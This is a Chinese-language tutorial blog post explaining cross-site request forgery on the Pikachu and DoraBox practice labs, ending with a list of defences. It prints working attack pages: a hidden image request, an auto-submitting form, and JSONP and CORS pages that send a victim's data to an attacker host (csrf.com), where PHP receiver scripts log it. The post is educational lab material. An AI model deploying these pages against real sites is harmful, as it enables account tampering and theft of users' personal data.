CSRF
参考内容
写入型 https://blog.csdn.net/freeking101/article/details/86537087
读取型 https://www.jianshu.com/p/d0575f50e5d6
CSRF全称corss-site request forgery,中文是跨站请求伪造。
攻击类型有写入型和读取型
请求方式get和post都有
在讲这个漏洞前需要先带一下cookie和session的知识
cookie的话用户数据保存在客户端,而session的用户数据是存在服务端,session其实也算cookie
比如网站的自动登录很多都是利用cookie实现的,在访问站点的时候会把cookie带上然后进行校验然后登陆
cookie具有指向性,就是访问a网站的时候只会携带a网站生成的cookie,访问b网站的时候只会携带b网站生成的cookie
这些是由浏览器来完成,就是不存在用a网站生成的cookie去访问b网站的情况
OK,下面开始讲这个漏洞
个人表达不好,直接上例子
http://pay.php?user=tom&for=lucy&amount=100
假设tom给lucy转100元,请求链接长上面那样
然后黑客john也用这个网站转账,然后想搞tom的钱,就构造一个不可描述的网站发给tom
网站里面并没有显示和转账网站有关的内容,但有其中一张img元素的src是 http://pay.php?user=tom&for=john&amount=100
如果tom之前登陆了这个网站并没有退出,并打开了john这个网站,那么就会从tom的浏览器发送一个请求给转账网站,从tom的余额转100元给john,只要打开或刷新一次就会转一次账
上面这种就是写入型get型csrf攻击
攻击原理
黑客伪造一个url请求,放到一个钓鱼网站里,当其他用户进入这个网站并在登陆状态的情况下,这个网站就会携带该用户的cookie发送请求
由于服务器并不知道是谁访问的,它只认cookie,只要cookie没问题,那就会正常处理请求。
靶场实例(写入型)
pikachu靶场有三个csrf实例
先从CSRF(get)开始
拿lucy开刀
点击submit,开burpsuite代理抓包
可以看到url里有很多参数,写一个攻击网站,表面是你好,背地里加一个img元素,里面的src就是进行csrf攻击的url
<html> <head> <meta charset="utf-8" /> </head> <body> <h1>你好!</h1> <img src=http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=000&add=here&email=a%40qq.com&submit=submit width='0' height='0'> </body> </html>
打开攻击网站,只有你好二字
然而回去看lucy的信息已物是人非
下一个CSRF(post)
由于post是表单提交,这个要麻烦点,为了能实现进去就攻击,不需要用户手动提交,就用js实现模拟提交,代码网上找的
Window.onload方法由于表单里面必须要有一个submit参数,所以没法用submit()方法自动提交,只能模拟提交了
攻击网站如下
<html> <head> <meta charset="utf-8" /> </head> <script> // 1毫秒后模拟点击 window.onload = function () { setTimeout(function () { // IE if (document.all) { document.getElementById("submit").click(); } // 其它浏览器 else { var e = document.createEvent("MouseEvents"); e.initEvent("click", true, true); document.getElementById("submit").dispatchEvent(e); } }, 1); } </script> <body> <h1>你好</h1> <form method="post" id="test" name="test" action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input hidden type="text" name="sex" value="girl" /> <input hidden type="text" name="phonenum" value="666" /> <input hidden type="text" name="add" value="here" /> <input hidden type="text" name="email" value="lucy@qq.com" /> <input hidden type="submit" id="submit" name="submit" value="submit" /> </form> </body> </html>
打开页面闪过 你好 二字(1ms)就跳过去个人信息页面了
信息也被修改
最后一个CSRF(token)
抓包
也是get方法,不过参数里面多了一个token
这个token每次都会变,这就没法伪造了,去看看源码
//生成一个token,以当前微妙时间+一个5位的前缀 function set_token() { if (isset($_SESSION['token'])) { unset($_SESSION['token']); } $_SESSION['token'] = str_replace('.', '', uniqid(mt_rand(10000, 99999), true)); }
每次返回前端页面都会随机生成一个token存在session,开头说了,session是存在服务端上的,这就没辙了,因为每次都随机,而且token不是在客户端本地,没法伪造请求了。
靶场实例(读取型)
DoraBox靶场有两个实例
JSONP劫持,访问url
http://localhost/dorabox/csrf/jsonp.php?callback=test
现在以用户的身份点击,就会返回这么一串json格式的数据
test({"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"})
现在切换到黑客的身份,我要盗取用户访问这个url后返回的数据,编写钓鱼网页如下
<html> <head> <meta charset="utf-8" /> </head> <body> <script> function Callback(json) { url = "http://csrf.com/payload/csrf/csrf-jsonp-load.php?result=" + JSON.stringify(json); var request = new XMLHttpRequest(); request.open("GET", url); request.send(null); } </script> <script src="http://localhost/dorabox/csrf/jsonp.php?callback=Callback"> </script> <h1>你好</h1> </body> </html>
接收端网页
<?php header('Access-Control-Allow-Origin:*'); if (!isset($_GET['result'])) { echo "none"; exit(); } else { $data = $_GET['result']; } echo $data; file_put_contents("1.txt", $data);
访问钓鱼网站,仅有你好二字
然后看看接收端那边,多了一个1.txt,可以看到数据已被获取
CORS跨域资源读取,访问url
http://localhost/dorabox/csrf/userinfo.php
现在以用户的身份点击,就会返回这么一串json格式的数据
{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}
现在切换到黑客的身份,我要盗取用户访问这个url后返回的数据,编写钓鱼网页如下
<html> <head> <meta charset="utf-8" /> </head> <body> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { url = "http://csrf.com/payload/csrf/csrf-cors-load.php?result=" + xhr.responseText; var request = new XMLHttpRequest(); request.open("GET", url); request.send(null); } } xhr.open("GET", "http://localhost/dorabox/csrf/userinfo.php"); xhr.send(); } cors(); </script> <h1>你好</h1> </body> </html>
接收端网页
<?php header('Access-Control-Allow-Origin:*'); if (!isset($_GET['result'])) { echo "none"; exit(); } $data = $_GET['result']; file_put_contents("2.txt", $data);
访问钓鱼网站,仅有你好二字
然后看看接收端那边,多了一个2.txt,可以看到数据已被获取
漏洞成因
1、用户的登陆信息,就是cookie存在本地
2、用户使用完网站后没退出登录状态
3、服务器没有有效检验请求合法性
预防方法
1、简单粗暴点的,不保留用户保持登陆状态,但对用户来说不方便,或者设置较短的过期时间
2、设置随机token且存进session,这样攻击者没法获取,如果存进cookie还是很容易被盗取
3、尽量使用post方法,这样参数不会暴露在url中
4、cookie不要存用户的敏感信息
5、敏感操作进行二次校验,比如短信验证码,人机交互验证码,旧信息验证
6、验证referer请求来源